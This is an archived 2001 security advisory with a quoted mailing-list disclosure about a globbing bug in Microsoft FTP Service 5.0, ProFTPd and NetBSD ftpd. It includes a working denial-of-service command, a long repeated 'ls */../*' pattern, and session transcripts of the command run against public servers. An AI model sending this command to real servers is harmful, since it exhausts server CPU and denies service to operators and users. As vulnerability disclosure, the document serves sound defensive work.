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Microsoft's FTP Server May Allow Remote Users to Deny Service on the Server
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Updated: Mar 20 2001 04:51 (UTC/GMT)
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Original Entry Date: Mar 20 2001 04:49 (UTC/GMT)
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Impact: Denial of service via network
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Exploit Included: Yes
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Version(s): 5.0
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Description: Microsoft's FTP server, along with several other FTP daemons, is reported to contain a vulnerability that allows remote users to consume resources on the FTP server.
Microsoft's FTP server's built-in 'ls' command contains a globbing bug that allows remote denial-of-service attacks.
The following
command will reportedly consume 100% of CPU time on the server, which can lead to denial of service conditions:
ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/
../*/../*/../*
Other affected servers are NetBSD FTP and ProFTPd. See also:
http://securitytracker.com/alerts/2001/Mar/1001119.html
http://securitytracker.com/alerts/2001/Mar/1001122.html
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Impact: A remote user with access to the FTP server can execute a command that will cause the server to consume a significant amount of CPU resources.
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Solution: No solution was available at the time of this entry.
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Vendor URL: http://www.microsoft.com/technet/security/
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Cause: Resource error
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Underlying OS: Windows (NT), Windows (2000)
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Reported By: "Frank DENIS (Jedi/Sector One)" <j@4U.NET>
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Message History:
None.
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Message Contents
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Date: Thu, 15 Mar 2001 09:34:09 +0100
From: "Frank DENIS (Jedi/Sector One)" <j@4U.NET>
Subject: Multiple vendors FTP denial of service
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- Proftpd built-in 'ls' command has a globbing bug that allows remote
denial-of-service.
Here's a simple exploit, tested on the Proftpd site :
$ ftp ftp.proftpd.org
...
Name (ftp.proftpd.org:j): ftp
...
230 Anonymous access granted, restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
227 Entering Passive Mode (216,10,40,219,4,111).
421 Service not available, remote server timed out. Connection closed
That command takes 100% CPU time on the server. It can lead into an easy
DOS even if few remote simultanous connections are allowed.
Other FTP servers may be concerned as well. Here are various tries :
- NetBSD FTP showed the same behavior than Proftpd :
ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
200 EPRT command successful.
(long delay)
421 Service not available, remote server timed out. Connection closed
So NetBSD-ftpd 20000723a may also consume 100% cpu time, resulting in a
possible DOS. Other BSD FTP may be affected as well.
- Microsoft FTP Service (Version 5.0) seems also confused by the command :
ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
500 'EPSV': command not understood
227 Entering Passive Mode (207,46,133,140,4,223).
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
(very long delay... nothing happens...)
- Publicfile refuses the command :
ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
227 =131,193,178,181,97,222
550 Sorry, I can't open that file: file does not exist.
- Wu-FTPd 2.6.1 is not vulnerable. Only the result of 'ls *' is computed and
displayed.
- PureFTPd (any version) is not vulnerable. Result is "Simplified wildcard
expression to *" and the 'ls *' output.
Maintainers of vulnerable servers have been warned of this bug.
--
-=- Frank DENIS aka Jedi/Sector One < spam@jedi.claranet.fr > -=-
LINAGORA SA (Paris, France) : http://www.linagora.com
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